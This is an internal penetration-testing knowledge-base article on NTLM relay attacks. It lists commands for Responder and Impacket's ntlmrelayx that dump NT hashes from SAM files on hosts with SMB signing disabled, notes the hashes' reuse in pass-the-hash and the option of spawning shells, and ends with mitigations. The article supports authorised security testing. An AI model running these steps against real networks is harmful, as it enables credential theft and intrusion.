**NTLM Relay Attacks v1: Dumping SAM files**

How does it work?

When broadcast traffic such as LLMNR/NB-NS/WPAD is active on an internal network, it is possible to take hashes captured by responder and relay them directly to other machines. The end result is potentially authenticated access without even having to crack any passwords.

**Note:** this attack requires SMB signing to be disabled on the target of the relay.

How do I use it?

1. Determine whether any hosts have SMB signing disabled; this can be done through Nessus, or by running nmap –script smb-security-mode.nse.
2. Save the IPs of targets with signing disabled to a file.
3. Configure Responder not to listen to SMB and HTTP by editing /usr/share/responder/Responder.conf.
4. Run the following: responder –F –I eth0
5. Install the latest version of Impacket:
   1. pip install ldap3 dnspython
   2. pip install ldapdomaindump
   3. git clone <https://github.com/CoreSecurity/impacket.git>
   4. cd (impacket directory) && python setup.py install
6. In another terminal/tab, run the following: ntlmrelayx -of (file name to save captured hashes to) –tf (target file from step 2)
7. By default, ntlmrelayx will dump NT hashes from the target’s SAM file to the screen, and to a file in the directory it is run from; if successful, those NT hashes can be reused in pass-the-hash attacks.

**NOTE:** This is the most basic ntlmrelayx attack; it can also take Powershell commands to create shells, as documented in this KB: [\\clt-fs01\nio\MASS\05. Knowledge Base Articles\NTLM Relay attacks v2 R0.01.docx](file:///\\clt-fs01\nio\MASS\05.%20Knowledge%20Base%20Articles\NTLM%20Relay%20attacks%20v2%20R0.01.docx)

Mitigation

1. Mitigate LLMNR/NB-NS/WPAD weaknesses.
2. Enable SMB signing on all devices that use SMB.

References

<https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html>

<https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/>